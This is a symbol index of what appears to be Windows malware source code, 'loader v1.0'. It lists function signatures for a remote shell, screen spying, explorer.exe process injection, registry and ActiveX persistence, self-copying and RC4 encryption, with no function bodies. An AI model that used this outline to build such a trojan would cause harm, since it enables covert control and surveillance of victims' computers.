SYMBOL INDEX (79 symbols across 14 files) FILE: loader v1.0/functions/functions/cmd_shell.c type cmd_shell_data_t (line 14) | typedef struct { function cmd_shell_entry (line 24) | void __cdecl cmd_shell_entry(global_data_t *global_data) { function cmd_shell_initialize (line 43) | int __cdecl cmd_shell_initialize(global_data_t *global_data, SOCKET s) { function cmd_shell_check (line 86) | bool __cdecl cmd_shell_check(global_data_t *global_data) { function cmd_shell_send_result (line 95) | extern int __cdecl cmd_shell_send_result(global_data_t *global_data, SOC... function cmd_shell_execute (line 132) | int __cdecl cmd_shell_execute(global_data_t *global_data, SOCKET s, cons... function cmd_shell_finalize (line 151) | int __cdecl cmd_shell_finalize(global_data_t *global_data, SOCKET s) { function cmd_shell_code_end (line 167) | void __cdecl cmd_shell_code_end() { function cmd_shell_save (line 175) | void cmd_shell_save(char *filename) { FILE: loader v1.0/functions/functions/functions.c function _tmain (line 8) | int _tmain(int argc, _TCHAR* argv[]) FILE: loader v1.0/functions/functions/global_data.h type u8 (line 12) | typedef uint8_t u8; type u16 (line 13) | typedef uint16_t u16; type u32 (line 14) | typedef uint32_t u32; type u64 (line 15) | typedef uint64_t u64; type global_data_t (line 17) | typedef struct global_data global_data_t, *global_data_p; type extra_function_t (line 18) | typedef struct extra_function extra_function_t; type extra_function (line 25) | struct extra_function { type global_data (line 37) | struct global_data { type packet_header_t (line 233) | typedef struct packet_header { type buffer_t (line 242) | typedef struct buffer_ { type bitmap_t (line 250) | typedef struct bitmap_ { type extra_t (line 268) | typedef struct { FILE: loader v1.0/functions/functions/information.c type information_data_t (line 12) | typedef struct { function information_entry (line 26) | void __cdecl information_entry(global_data_t *global_data) { function get_lan_info (line 48) | void get_lan_info(global_data_t *global_data, char *info) { function get_os_version (line 58) | void __cdecl get_os_version(global_data_t *global_data, char *info, int ... function get_cpu_frequency (line 97) | uint32_t __cdecl get_cpu_frequency(global_data_t *global_data) { function information_code_end (line 114) | void __cdecl information_code_end() { function information_save (line 122) | void information_save(char *filename) { FILE: loader v1.0/functions/functions/process.c function process_entry (line 12) | void __cdecl process_entry(global_data_t *global_data) { FILE: loader v1.0/functions/functions/screenspy.c function screenspy_entry (line 25) | void __cdecl screenspy_entry(global_data_t *global_data) { FILE: loader v1.0/functions/functions/shellcode_main.c type shellcode_main_data_t (line 52) | typedef struct { function shellcode_main_entry (line 74) | void __stdcall shellcode_main_entry(global_data_t *global_data, SOCKET s) { function send_information (line 241) | int send_information(global_data_t *global_data, SOCKET s) { function wait_command (line 316) | int wait_command(global_data_t *global_data, SOCKET s) { function process_packet (line 366) | int __cdecl process_packet(global_data_t *global_data, SOCKET s, uint8_t... function socket_main (line 504) | void __cdecl socket_main(global_data_t *global_data, SOCKET s) { function shellcode_main_code_end (line 532) | void __cdecl shellcode_main_code_end() { function shellcode_main_save (line 540) | void shellcode_main_save(char *filename) { FILE: loader v1.0/functions/functions/thumbnail.c function thumbnail_entry (line 12) | void __cdecl thumbnail_entry(global_data_t *global_data) { FILE: loader v1.0/loader_function/loader_function/global_data.h type u8 (line 13) | typedef uint8_t u8; type u16 (line 14) | typedef uint16_t u16; type u32 (line 15) | typedef uint32_t u32; type u64 (line 16) | typedef uint64_t u64; type global_data_t (line 18) | typedef struct global_data global_data_t, *global_data_p; type extra_function_t (line 19) | typedef struct extra_function extra_function_t; type explorer_thread_param_t (line 20) | typedef struct explorer_thread_param explorer_thread_param_t; type extra_function (line 37) | struct extra_function { type x64_global_data_t (line 49) | typedef struct x64_global_data x64_global_data_t; type x64_global_data (line 51) | struct x64_global_data { type global_data (line 101) | struct global_data { type explorer_thread_param (line 296) | struct explorer_thread_param { FILE: loader v1.0/loader_function/loader_function/inject_to_explorer.c type reg64 (line 60) | typedef union reg64 { function inject_to_explorer (line 67) | bool __stdcall inject_to_explorer(global_data_t *global_data, wchar_t *p... function u64 (line 121) | u64 inject_memory(global_data_t *global_data, HANDLE process, unsigned c... function u64 (line 135) | u64 wow64_inject_memory(global_data_t *global_data, HANDLE process, unsi... function HANDLE (line 158) | HANDLE __cdecl wow64_create_remote_thread(global_data_t *global_data, HA... function inject_to_explorer_end (line 287) | void inject_to_explorer_end() { function inject_to_explorer_save (line 293) | void inject_to_explorer_save(const char *filename) { FILE: loader v1.0/loader_function/loader_function/inject_to_explorer_code_x86.c function inject_to_explorer_code_x86_end (line 256) | void inject_to_explorer_code_x86_end() { function inject_to_explorer_code_x86_save (line 262) | void inject_to_explorer_code_x86_save(const char *filename) { FILE: loader v1.0/loader_function/loader_function/loader_function.cpp function _tmain (line 7) | int _tmain(int argc, _TCHAR* argv[]) FILE: loader v1.0/loader_function/loader_function/rc4.c function rc4_init_code (line 12) | void __stdcall rc4_init_code(unsigned char *sbox, unsigned char *key, un... function rc4_init_end (line 26) | void __cdecl rc4_init_end() { function rc4_crypt_code (line 30) | void __stdcall rc4_crypt_code(unsigned char *sbox, unsigned char *data, ... function rc4_crypt_end (line 43) | void __cdecl rc4_crypt_end() { function rc4_init_save (line 47) | void rc4_init_save(char *filename) { function rc4_crypt_save (line 63) | void rc4_crypt_save(char *filename) { FILE: loader v1.0/loader_function/loader_function/x64_code.c function add_startup_hklm_x64 (line 10) | void add_startup_hklm_x64(x64_global_data_t *x64_global_data, global_dat... function add_startup_hklm_x64_end (line 25) | void add_startup_hklm_x64_end() { function add_startup_activex_x64 (line 31) | void add_startup_activex_x64(x64_global_data_t *x64_global_data, global_... function add_startup_activex_x64_end (line 59) | void add_startup_activex_x64_end() { function copy_self_x64 (line 63) | void copy_self_x64(x64_global_data_t *x64_global_data, global_data_t *gl... function copy_self_x64_end (line 91) | void copy_self_x64_end() { function u32 (line 95) | u32 find_process_by_name_x64(x64_global_data_t *x64_global_data, wchar_t... function find_process_by_name_x64_end (line 114) | void find_process_by_name_x64_end() { function inject_to_explorer_code_x64 (line 120) | void __stdcall inject_to_explorer_code_x64(explorer_thread_param_t *para... function inject_to_explorer_code_x64_init (line 251) | void inject_to_explorer_code_x64_init(global_data_t *global_data, x64_gl... function x64_code_save (line 257) | void x64_code_save() {